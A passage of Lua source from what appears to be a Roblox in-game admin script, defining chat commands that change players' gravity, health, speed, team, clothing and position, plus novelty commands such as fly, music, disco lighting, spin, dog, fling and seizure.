  3783. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  3784. end
  3785. end))
  3786. end
  3787. end
  3788.  
  3789. if msg:lower():sub(1,8) == "setgrav " then
  3790. local chk1 = msg:lower():sub(9):find(" ") + 8
  3791. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  3792. for i, v in pairs(plrz) do
  3793. coroutine.resume(coroutine.create(function()
  3794. if v and v.Character and v.Character:findFirstChild("Torso") then
  3795. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  3796. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  3797. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  3798. end
  3799. end))
  3800. end
  3801. end
  3802.  
  3803. if msg:lower():sub(1,7) == "nograv " then
  3804. local plrz = GetPlr(plr, msg:lower():sub(8))
  3805. for i, v in pairs(plrz) do
  3806. coroutine.resume(coroutine.create(function()
  3807. if v and v.Character and v.Character:findFirstChild("Torso") then
  3808. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  3809. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  3810. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  3811. end
  3812. end))
  3813. end
  3814. end
  3815.  
  3816. if msg:lower():sub(1,7) == "health " then
  3817. local chk1 = msg:lower():sub(8):find(" ") + 7
  3818. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  3819. for i, v in pairs(plrz) do
  3820. coroutine.resume(coroutine.create(function()
  3821. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  3822. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  3823. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  3824. end
  3825. end))
  3826. end
  3827. end
  3828.  
  3829. if msg:lower():sub(1,6) == "speed " then
  3830. local chk1 = msg:lower():sub(7):find(" ") + 6
  3831. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  3832. for i, v in pairs(plrz) do
  3833. coroutine.resume(coroutine.create(function()
  3834. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  3835. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  3836. end
  3837. end))
  3838. end
  3839. end
  3840.  
  3841. if msg:lower():sub(1,5) == "team " then
  3842. local chk1 = msg:lower():sub(6):find(" ") + 5
  3843. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  3844. for i, v in pairs(plrz) do
  3845. coroutine.resume(coroutine.create(function()
  3846. if v and game:findFirstChild("Teams") then
  3847. for a, tm in pairs(game.Teams:children()) do
  3848. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  3849. end
  3850. end
  3851. end))
  3852. end
  3853. end
  3854.  
  3855. if msg:lower():sub(1,6) == "place " then
  3856. local chk1 = msg:lower():sub(7):find(" ") + 6
  3857. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  3858. for i, v in pairs(plrz) do
  3859. coroutine.resume(coroutine.create(function()
  3860. if v and v:findFirstChild("PlayerGui") then
  3861. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  3862. end
  3863. end))
  3864. end
  3865. end
  3866.  
  3867. if msg:lower():sub(1,3) == "tp " then
  3868. local chk1 = msg:lower():sub(4):find(" ") + 3
  3869. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  3870. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  3871. for i, v in pairs(plrz) do
  3872. coroutine.resume(coroutine.create(function()
  3873. for i2, v2 in pairs(plrz2) do
  3874. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  3875. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  3876. end
  3877. end
  3878. end))
  3879. end
  3880. end
  3881.  
  3882. if msg:lower():sub(1,7) == "change " then
  3883. local chk1 = msg:lower():sub(8):find(" ") + 7
  3884. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  3885. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  3886. for i, v in pairs(plrz) do
  3887. coroutine.resume(coroutine.create(function()
  3888. if v and v:findFirstChild("leaderstats") then
  3889. for a, st in pairs(v.leaderstats:children()) do
  3890. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  3891. end
  3892. end
  3893. end))
  3894. end
  3895. end
  3896.  
  3897. if msg:lower():sub(1,6) == "shirt " then
  3898. local chk1 = msg:lower():sub(7):find(" ") + 6
  3899. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  3900. for i, v in pairs(plrz) do
  3901. coroutine.resume(coroutine.create(function()
  3902. if v and v.Character then
  3903. for i,v in pairs(v.Character:children()) do
  3904. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  3905. end
  3906. end
  3907. end))
  3908. end
  3909. end
  3910.  
  3911. if msg:lower():sub(1,6) == "pants " then
  3912. local chk1 = msg:lower():sub(7):find(" ") + 6
  3913. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  3914. for i, v in pairs(plrz) do
  3915. coroutine.resume(coroutine.create(function()
  3916. if v and v.Character then
  3917. for i,v in pairs(v.Character:children()) do
  3918. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  3919. end
  3920. end
  3921. end))
  3922. end
  3923. end
  3924.  
  3925. if msg:lower():sub(1,5) == "face " then
  3926. local chk1 = msg:lower():sub(6):find(" ") + 5
  3927. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  3928. for i, v in pairs(plrz) do
  3929. coroutine.resume(coroutine.create(function()
  3930. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  3931. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  3932. end
  3933. end))
  3934. end
  3935. end
  3936.  
  3937. ---------------------
  3938. -- FunCommands --
  3939. ---------------------
  3940. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  3941.  
  3942. if msg:lower():sub(1,8) == "swagify " then
  3943. local plrz = GetPlr(plr, msg:lower():sub(9))
  3944. for i, v in pairs(plrz) do
  3945. coroutine.resume(coroutine.create(function()
  3946. if v and v.Character then
  3947. for i,v in pairs(v.Character:children()) do
  3948. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  3949. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  3950. end
  3951. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  3952. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  3953. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  3954. local torso = plr.Character.Torso
  3955. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  3956. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  3957. p.Size = Vector3.new(.2,.2,.2)
  3958. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  3959. local motor1 = Instance.new("Motor", p)
  3960. motor1.Part0 = p
  3961. motor1.Part1 = torso
  3962. motor1.MaxVelocity = .01
  3963. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  3964. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  3965. local wave = false
  3966. repeat wait(1/44)
  3967. local ang = 0.1
  3968. local oldmag = torso.Velocity.magnitude
  3969. local mv = .002
  3970. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  3971. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  3972. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  3973. motor1.DesiredAngle = -ang
  3974. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  3975. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  3976. if torso.Velocity.magnitude < .1 then wait(.1) end
  3977. until not p or p.Parent ~= torso.Parent
  3978. script:Destroy()
  3979. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  3980. end
  3981. end))
  3982. end
  3983. end
  3984.  
  3985. if msg:lower():sub(1,6) == "music " then
  3986. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  3987. local id = msg:sub(7)
  3988. local pitch = 1
  3989. if tostring(id):lower():find("caramell") then id = 2303479 end
  3990. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  3991. if tostring(id):find("rick") then id = 2027611 end
  3992. if tostring(id):find("halo") then id = 1034065 end
  3993. if tostring(id):find("pokemon") then id = 1372261 end
  3994. if tostring(id):find("cursed") then id = 1372257 end
  3995. if tostring(id):find("extreme") then id = 11420933 end
  3996. if tostring(id):find("awaken") then id = 27697277 end
  3997. if tostring(id):find("alone") then id = 27697392 end
  3998. if tostring(id):find("mario") then id = 1280470 end
  3999. if tostring(id):find("choir") then id = 1372258 end
  4000. if tostring(id):find("chrono") then id = 1280463 end
  4001. if tostring(id):find("dotr") then id = 11420922 end
  4002. if tostring(id):find("entertain") then id = 27697267 end
  4003. if tostring(id):find("fantasy") then id = 1280473 end
  4004. if tostring(id):find("final") then id = 1280414 end
  4005. if tostring(id):find("emblem") then id = 1372259 end
  4006. if tostring(id):find("flight") then id = 27697719 end
  4007. if tostring(id):find("banjo") then id = 27697298 end
  4008. if tostring(id):find("gothic") then id = 27697743 end
  4009. if tostring(id):find("hiphop") then id = 27697735 end
  4010. if tostring(id):find("intro") then id = 27697707 end
  4011. if tostring(id):find("mule") then id = 1077604 end
  4012. if tostring(id):find("film") then id = 27697713 end
  4013. if tostring(id):find("nezz") then id = 8610025 end
  4014. if tostring(id):find("angel") then id = 1372260 end
  4015. if tostring(id):find("resist") then id = 27697234 end
  4016. if tostring(id):find("schala") then id = 5985787 end
  4017. if tostring(id):find("organ") then id = 11231513 end
  4018. if tostring(id):find("tunnel") then id = 9650822 end
  4019. if tostring(id):find("spanish") then id = 5982975 end
  4020. if tostring(id):find("venom") then id = 1372262 end
  4021. if tostring(id):find("wind") then id = 1015394 end
  4022. if tostring(id):find("guitar") then id = 5986151 end
  4023. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  4024. end
  4025.  
  4026. if msg:lower() == "stopmusic" then
  4027. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  4028. end
  4029.  
  4030. if msg:lower() == "musiclist" then
  4031. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  4032. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  4033. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  4034. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  4035. end
  4036.  
  4037. if msg:lower():sub(1,4) == "fly " then
  4038. local plrz = GetPlr(plr, msg:lower():sub(5))
  4039. for i, v in pairs(plrz) do
  4040. coroutine.resume(coroutine.create(function()
  4041. if v and v:findFirstChild("PlayerGui") then
  4042. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  4043. local mouse = game.Players.LocalPlayer:GetMouse()
  4044. repeat wait() until mouse
  4045. local plr = game.Players.LocalPlayer
  4046. local torso = plr.Character.Torso
  4047. local flying = true
  4048. local deb = true
  4049. local ctrl = {f = 0, b = 0, l = 0, r = 0}
  4050. local lastctrl = {f = 0, b = 0, l = 0, r = 0}
  4051. local maxspeed = 50
  4052. local speed = 0
  4053. function Fly()
  4054. local bg = Instance.new("BodyGyro", torso)
  4055. bg.P = 9e4
  4056. bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  4057. bg.cframe = torso.CFrame
  4058. local bv = Instance.new("BodyVelocity", torso)
  4059. bv.velocity = Vector3.new(0,0.1,0)
  4060. bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
  4061. repeat wait()
  4062. plr.Character.Humanoid.PlatformStand = true
  4063. if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
  4064. speed = speed+.5+(speed/maxspeed)
  4065. if speed > maxspeed then
  4066. speed = maxspeed
  4067. end
  4068. elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
  4069. speed = speed-1
  4070. if speed < 0 then
  4071. speed = 0
  4072. end
  4073. end
  4074. if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
  4075. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  4076. lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
  4077. elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
  4078. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  4079. else
  4080. bv.velocity = Vector3.new(0,0.1,0)
  4081. end
  4082. bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
  4083. until not flying
  4084. ctrl = {f = 0, b = 0, l = 0, r = 0}
  4085. lastctrl = {f = 0, b = 0, l = 0, r = 0}
  4086. speed = 0
  4087. bg:Destroy()
  4088. bv:Destroy()
  4089. plr.Character.Humanoid.PlatformStand = false
  4090. end
  4091. mouse.KeyDown:connect(function(key)
  4092. if key:lower() == "e" then
  4093. if flying then flying = false
  4094. else
  4095. flying = true
  4096. Fly()
  4097. end
  4098. elseif key:lower() == "w" then
  4099. ctrl.f = 1
  4100. elseif key:lower() == "s" then
  4101. ctrl.b = -1
  4102. elseif key:lower() == "a" then
  4103. ctrl.l = -1
  4104. elseif key:lower() == "d" then
  4105. ctrl.r = 1
  4106. end
  4107. end)
  4108. mouse.KeyUp:connect(function(key)
  4109. if key:lower() == "w" then
  4110. ctrl.f = 0
  4111. elseif key:lower() == "s" then
  4112. ctrl.b = 0
  4113. elseif key:lower() == "a" then
  4114. ctrl.l = 0
  4115. elseif key:lower() == "d" then
  4116. ctrl.r = 0
  4117. end
  4118. end)
  4119. Fly()]]
  4120. cl.Parent = v.PlayerGui cl.Disabled = false
  4121. end
  4122. end))
  4123. end
  4124. end
  4125.  
  4126. if msg:lower():sub(1,6) == "unfly " then
  4127. local plrz = GetPlr(plr, msg:lower():sub(7))
  4128. for i, v in pairs(plrz) do
  4129. coroutine.resume(coroutine.create(function()
  4130. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  4131. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  4132. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  4133. wait(.1) v.Character.Humanoid.PlatformStand = false
  4134. end
  4135. end))
  4136. end
  4137. end
  4138.  
  4139. if msg:lower() == "disco" then
  4140. for i, v in pairs(lobjs) do v:Destroy() end
  4141. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  4142. game.Lighting.Ambient = color
  4143. game.Lighting.FogColor = color
  4144. until nil]]
  4145. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  4146. end
  4147.  
  4148. if msg:lower() == "flash" then
  4149. for i, v in pairs(lobjs) do v:Destroy() end
  4150. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  4151. game.Lighting.Ambient = Color3.new(1,1,1)
  4152. game.Lighting.FogColor = Color3.new(1,1,1)
  4153. game.Lighting.Brightness = 1
  4154. game.Lighting.TimeOfDay = 14
  4155. wait(.1)
  4156. game.Lighting.Ambient = Color3.new(0,0,0)
  4157. game.Lighting.FogColor = Color3.new(0,0,0)
  4158. game.Lighting.Brightness = 0
  4159. game.Lighting.TimeOfDay = 0
  4160. until nil]]
  4161. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  4162. end
  4163.  
  4164. if msg:lower():sub(1,5) == "spin " then
  4165. local plrz = GetPlr(plr, msg:lower():sub(6))
  4166. for i, v in pairs(plrz) do
  4167. coroutine.resume(coroutine.create(function()
  4168. if v and v.Character and v.Character:findFirstChild("Torso") then
  4169. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  4170. local torso = v.Character:findFirstChild("Torso")
  4171. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  4172. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  4173. until not bg or bg.Parent ~= torso
  4174. end
  4175. end))
  4176. end
  4177. end
  4178.  
  4179. if msg:lower():sub(1,7) == "unspin " then
  4180. local plrz = GetPlr(plr, msg:lower():sub(8))
  4181. for i, v in pairs(plrz) do
  4182. coroutine.resume(coroutine.create(function()
  4183. if v and v.Character and v.Character:findFirstChild("Torso") then
  4184. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  4185. end
  4186. end))
  4187. end
  4188. end
  4189.  
  4190. if msg:lower():sub(1,4) == "dog " then
  4191. local plrz = GetPlr(plr, msg:lower():sub(5))
  4192. for i, v in pairs(plrz) do
  4193. coroutine.resume(coroutine.create(function()
  4194. if v and v.Character and v.Character:findFirstChild("Torso") then
  4195. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  4196. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  4197. v.Character.Torso.Transparency = 1
  4198. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  4199. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  4200. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  4201. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  4202. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  4203. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  4204. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  4205. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  4206. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  4207. end
  4208. end))
  4209. end
  4210. end
  4211.  
  4212. if msg:lower():sub(1,6) == "undog " then
  4213. local plrz = GetPlr(plr, msg:lower():sub(7))
  4214. for i, v in pairs(plrz) do
  4215. coroutine.resume(coroutine.create(function()
  4216. if v and v.Character and v.Character:findFirstChild("Torso") then
  4217. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  4218. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  4219. v.Character.Torso.Transparency = 0
  4220. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  4221. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  4222. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  4223. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  4224. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  4225. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  4226. end
  4227. end))
  4228. end
  4229. end
  4230.  
  4231. if msg:lower():sub(1,8) == "creeper " then
  4232. local plrz = GetPlr(plr, msg:lower():sub(9))
  4233. for i, v in pairs(plrz) do
  4234. coroutine.resume(coroutine.create(function()
  4235. if v and v.Character and v.Character:findFirstChild("Torso") then
  4236. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  4237. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  4238. v.Character.Torso.Transparency = 0
  4239. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  4240. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  4241. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  4242. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  4243. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  4244. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  4245. end
  4246. end))
  4247. end
  4248. end
  4249.  
  4250. if msg:lower():sub(1,10) == "uncreeper " then
  4251. local plrz = GetPlr(plr, msg:lower():sub(11))
  4252. for i, v in pairs(plrz) do
  4253. coroutine.resume(coroutine.create(function()
  4254. if v and v.Character and v.Character:findFirstChild("Torso") then
  4255. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  4256. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  4257. v.Character.Torso.Transparency = 0
  4258. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  4259. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  4260. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  4261. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  4262. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  4263. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  4264. end
  4265. end))
  4266. end
  4267. end
  4268.  
  4269. if msg:lower():sub(1,8) == "bighead " then
  4270. local plrz = GetPlr(plr, msg:lower():sub(9))
  4271. for i, v in pairs(plrz) do
  4272. coroutine.resume(coroutine.create(function()
  4273. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  4274. end))
  4275. end
  4276. end
  4277.  
  4278. if msg:lower():sub(1,9) == "minihead " then
  4279. local plrz = GetPlr(plr, msg:lower():sub(10))
  4280. for i, v in pairs(plrz) do
  4281. coroutine.resume(coroutine.create(function()
  4282. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  4283. end))
  4284. end
  4285. end
  4286.  
  4287. if msg:lower():sub(1,6) == "fling " then
  4288. local plrz = GetPlr(plr, msg:lower():sub(7))
  4289. for i, v in pairs(plrz) do
  4290. coroutine.resume(coroutine.create(function()
  4291. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  4292. local xran local zran
  4293. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  4294. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  4295. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  4296. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  4297. end
  4298. end))
  4299. end
  4300. end
  4301.  
  4302. if msg:lower():sub(1,8) == "seizure " then
  4303. local plrz = GetPlr(plr, msg:lower():sub(9))
  4304. for i, v in pairs(plrz) do
  4305. coroutine.resume(coroutine.create(function()
  4306. if v and v.Character then
  4307. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  4308. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  4309. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  4310. end
  4311. end))
  4312. end
  4313. end
  4314.  
  4315. if msg:lower():sub(1,10) == "unseizure " then
  4316. local plrz = GetPlr(plr, msg:lower():sub(11))
  4317. for i, v in pairs(plrz) do
  4318. coroutine.resume(coroutine.create(function()
  4319. if v and v.Character then
  4320. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  4321. wait(.1) v.Character.Humanoid.PlatformStand = false
  4322. end
  4323. end))
  4324. end
  4325. end
  4326.  
  4327. if msg:lower():sub(1,12) == "removelimbs " then
  4328. local plrz = GetPlr(plr, msg:lower():sub(13))
  4329. for i, v in pairs(plrz) do
  4330. coroutine.resume(coroutine.create(function()
  4331. if v and v.Character then
  4332. for a, obj in pairs(v.Character:children()) do
  4333. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  4334. end
  4335. end
  4336. end))
  4337. end
  4338. end
  4339.  
  4340. if msg:lower():sub(1,5) == "name " then
  4341. local chk1 = msg:lower():sub(6):find(" ") + 5
  4342. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  4343. for i, v in pairs(plrz) do
